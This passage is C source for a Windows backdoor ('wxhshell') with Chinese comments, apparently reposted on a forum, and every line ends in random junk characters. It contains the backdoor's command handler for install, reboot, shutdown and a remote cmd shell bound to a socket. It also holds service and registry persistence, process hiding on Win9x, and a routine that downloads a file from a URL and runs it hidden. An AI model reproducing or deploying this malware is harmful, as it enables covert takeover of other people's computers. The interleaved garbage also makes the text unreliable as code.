  else { cU=/X{&Om  
(@u"   
    switch(cmd[0]) { |G>Lud  
  a`QKN rA2  
  // 帮助 m[*y9A1  
  case '?': { ^cYt4NHXn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PxZMH=  
    break; xXc3#n  
  } ,HO@bCK  
  // 安装 vn=0=(  
  case 'i': { <3aW3i/jTc  
    if(Install()) X1~ B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a{8g9a4  
    else 8U&93$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x\XOtjJr  
    break; 0Z~G:$O/i  
    } y <21~g=  
  // 卸载 EY 9N{  
  case 'r': { sr,8Qd 0M  
    if(Uninstall()) h7W<$ \P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B6a   
    else ,!g%`@u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2JRX ;s~  
    break; mMV -IL  
    } Q |J$ R  
  // 显示 wxhshell 所在路径 O0#9D'{  
  case 'p': { HTUY|^^D  
    char svExeFile[MAX_PATH]; G-Ju`.  
    strcpy(svExeFile,"\n\r"); (&Z`P  
      strcat(svExeFile,ExeFile); })@LvYK  
        send(wsh,svExeFile,strlen(svExeFile),0); MDKiwT@#  
    break; 6P*2Kg`  
    } ^c]lEo  
  // 重启 p^QB^HEV  
  case 'b': { IGtqY8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (!`]S>_w9  
    if(Boot(REBOOT)) #AUz.WHD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v/lQ5R1  
    else { (|<.7K N  
    closesocket(wsh); vy330SQPo  
    ExitThread(0); Tn8GLn  
    } q!zsGf {  
    break; J deGQ  
    } -{XXU)Z  
  // 关机 ' fm}&0  
  case 'd': { .FXn=4l'vV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F45UO%/P  
    if(Boot(SHUTDOWN)) zmMz6\ $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C %o^AR  
    else { @z)_m!yV1  
    closesocket(wsh); ?rn#S8nNx<  
    ExitThread(0); y7CrH=^jc  
    } ()v{HB i  
    break; & ]/Z~Vt  
    } C|A:^6d3=  
  // 获取shell _~E&?zR2>"  
  case 's': { p#95Q  
    CmdShell(wsh); PH}^RR{H[  
    closesocket(wsh); _ mw(~r8R  
    ExitThread(0); %,M(-G5j;  
    break; OjiQBsgnj  
  } \!4sd2Yi  
  // 退出 %v(\;&@  
  case 'x': { c}>p"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "~lGSWcU  
    CloseIt(wsh); p$cSES>r:  
    break; &t\KKsUtd  
    } Ll L8Q  
  // 离开 <ZM8*bqi  
  case 'q': { yr /p3ys  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D 4\T`j:  
    closesocket(wsh); hD:$Sv/H  
    WSACleanup(); <2a7>\74E0  
    exit(1); Vi~F Q  
    break; M6J/S  
        } CL$mK5u  
  } tCdgtZm  
  } |H4/a;]~  
\;>idbV  
  // 提示信息 &v^LxLt+s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E}$K&<J'-  
} /# M|V6n  
  } [=Yfdh M8S  
kEQ${F{  
  return; Wh)QCp0|n  
} X>#!s Lt  
Qx mVImn"  
// shell模块句柄 FFNv'\)  
int CmdShell(SOCKET sock) n2+eC9I  
{ \5%T'S@5  
STARTUPINFO si; 0r+%5}|-K  
ZeroMemory(&si,sizeof(si)); l%^'K%'b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c!BiGw,;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W1s4[rL!Ht  
PROCESS_INFORMATION ProcessInfo; .hCOi<wB  
char cmdline[]="cmd"; :B<lDcFKJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5"[Qs|VjA6  
  return 0; %@{);5[  
} DaW_-:@s  
UUx0#D/U0C  
// 自身启动模式 ,z?Re)q m  
int StartFromService(void) #n'tpp~O  
{ @,-xaZ[  
typedef struct !=.5$/  
{ l\yFx  
  DWORD ExitStatus; U&6!2s-  
  DWORD PebBaseAddress; QMzBx*g(  
  DWORD AffinityMask; c4R6E~S  
  DWORD BasePriority; bYEq`kjzc  
  ULONG UniqueProcessId; }cll? 2  
  ULONG InheritedFromUniqueProcessId; PF1m :Iz`d  
}   PROCESS_BASIC_INFORMATION; {}ZQK  
m.MOn3n]  
PROCNTQSIP NtQueryInformationProcess; otXB:a  
(s,*soAN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nJYcC"f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ipEsR/O  
*fq=["O  
  HANDLE             hProcess; Nd&u*&S  
  PROCESS_BASIC_INFORMATION pbi; kg$<^:uX  
Zjt3U;Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DiAPs_@  
  if(NULL == hInst ) return 0; pbivddi2  
eA>O<Z1>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '$M=H.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <dzE5]%\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C,w$)x5kls  
ztG_::QtG]  
  if (!NtQueryInformationProcess) return 0; DB yRP-TH  
n2R{$^JxO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }Y5Sf"~M  
  if(!hProcess) return 0; UKx91a}g  
tWi@_Rlx;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k[N46=u  
8KD7t&H  
  CloseHandle(hProcess); +gTnq")wnI  
-O_5OT4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ">kf X1LT  
if(hProcess==NULL) return 0; }`yIO"{8n  
MOyQ4<_  
HMODULE hMod; ~?dPF;.6_  
char procName[255]; aU2O5z&  
unsigned long cbNeeded; {vAq08  
a Kb2:1EQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "j9,3yJT  
JLRw`V,o7  
  CloseHandle(hProcess); NrTQ}_3)  
:?{ **&=  
if(strstr(procName,"services")) return 1; // 以服务启动 VuFH >8n  
e.i5j^5u  
  return 0; // 注册表启动 UR?[ba_h   
} O~B iqm  
8@qYzSx[  
// 主模块 8J%^gy>m]  
int StartWxhshell(LPSTR lpCmdLine) dKw* L|5  
{ r}9qK%C G.  
  SOCKET wsl; `jJ5us  
BOOL val=TRUE; :t]YPt  
  int port=0; -ny[Lh^b  
  struct sockaddr_in door; $CO^dFf  
~xu<xy@E  
  if(wscfg.ws_autoins) Install(); 5 %q26&  
w1aa5-aF  
port=atoi(lpCmdLine); cp2e,%o  
zHr1FxD  
if(port<=0) port=wscfg.ws_port; 6d,jR[JP  
bxO8q57  
  WSADATA data; 2<y E3:VX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y&A*/J4P  
.8l\;/o|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \Btv76*,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &D uvy#J  
  door.sin_family = AF_INET; u%#bu^4"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z*nC ;5Kd  
  door.sin_port = htons(port); _I~W!8&w>  
CO1D.5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H(!)]dO  
closesocket(wsl); ,~gY'Ql  
return 1; o8RagSIo8  
} ./)A6O*#  
Xf9<kbRw/  
  if(listen(wsl,2) == INVALID_SOCKET) { KQ xKU?b1  
closesocket(wsl); 1,Uv;s;{  
return 1; x\!Qe\lE  
} )`^t,x<S  
  Wxhshell(wsl); d$kGYMT"  
  WSACleanup(); y_38;8ex  
"W|Sh#JF  
return 0; 3IZ^!J  
mTW0_!.  
} $TL~SVHj;{  
DTt/nmKAqJ  
// 以NT服务方式启动 ~ DVAk|fc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g% #" 5Kr  
{ !SD?  
DWORD   status = 0; >.SU= HG;  
  DWORD   specificError = 0xfffffff; w:Tz&$&Y$  
WtFv"$V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v$w!hYsQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h2!We#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8,#v7ns}#  
  serviceStatus.dwWin32ExitCode     = 0; =g2; sM/  
  serviceStatus.dwServiceSpecificExitCode = 0; uOEy}&fH  
  serviceStatus.dwCheckPoint       = 0; "Nn/vid;  
  serviceStatus.dwWaitHint       = 0; NHUx-IqOX  
G{i}z^n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \q(RqD  
  if (hServiceStatusHandle==0) return;  s6rdQI]  
M/ 0!B_(R  
status = GetLastError(); P8Fq %k  
  if (status!=NO_ERROR) EMmNlj6  
{  .-'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gb<)U[Hfd  
    serviceStatus.dwCheckPoint       = 0; t%n1TY,  
    serviceStatus.dwWaitHint       = 0; UBrYN'QRNt  
    serviceStatus.dwWin32ExitCode     = status; pcv(P  
    serviceStatus.dwServiceSpecificExitCode = specificError; x,STt{I=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *]p]mzc  
    return; C 6ZM#}I$l  
  } $OHY^IE(  
#]oVVf_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YL=?Nk/  
  serviceStatus.dwCheckPoint       = 0; nfq  
  serviceStatus.dwWaitHint       = 0; c</d1xT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OnC|9  
} ]ZelB,7q  
amK?LDf]  
// 处理NT服务事件,比如:启动、停止 A jr]&H4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MZB0vdx  
{ f[HhLAVGK`  
switch(fdwControl) ddmTMfH  
{ z"u4t.KpL  
case SERVICE_CONTROL_STOP: mZDrvTI'  
  serviceStatus.dwWin32ExitCode = 0; vAbMU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =GTltFqI1  
  serviceStatus.dwCheckPoint   = 0; GNA:|x  
  serviceStatus.dwWaitHint     = 0; Rgw\qOb  
  { gXZ.je)NM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [2gK^o&t  
  } >lU[ lf+/  
  return; :t8(w>oW  
case SERVICE_CONTROL_PAUSE: ;WC]Lf<Z^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +#}I^N  
  break; a=&a)FR  
case SERVICE_CONTROL_CONTINUE: GN /]^{D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p\wE})mu  
  break; # nwEF QA  
case SERVICE_CONTROL_INTERROGATE: n|Iy  
  break; 3<1Uq3Pa  
}; %'nM!7w@I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^<'5 V)  
} Y'&A~/Adf  
`=RJ8u  
// 标准应用程序主函数 F``$}]9KHD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6&S;Nrg9  
{  57Q^ "sl  
h!?7I=p~#  
// 获取操作系统版本 ;"hED:z6%  
OsIsNt=GetOsVer(); \C5YVl#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l Ot3^`  
Wjn1W;m&g  
  // 从命令行安装 >c*}Do{lG  
  if(strpbrk(lpCmdLine,"iI")) Install(); ` /#f8R1g  
B?'`\q) UL  
  // 下载执行文件 nPj%EKdY4  
if(wscfg.ws_downexe) { 8Gzc3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hn#i,XnY  
  WinExec(wscfg.ws_filenam,SW_HIDE); ya0L8`q  
} s"#JBw\7  
)Ge.1B$8h  
if(!OsIsNt) { "~0m_brf  
// 如果时win9x,隐藏进程并且设置为注册表启动 cH?j@-pY  
HideProc(); Q"n*`#Yt'  
StartWxhshell(lpCmdLine); +pZ, RW.D  
} ~0,Utqy  
else s9>f5u?dK  
  if(StartFromService()) Q0i.gEwe  
  // 以服务方式启动 iY1%"x  
  StartServiceCtrlDispatcher(DispatchTable); H'Bor\;[>  
else Ol1[o  
  // 普通方式启动 U8KB @E  
  StartWxhshell(lpCmdLine); ATp7:Q  
w>>)3:Ytd  
return 0; dR<sBYo  
}
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只看该作者 1 发表于: 2006-10-10
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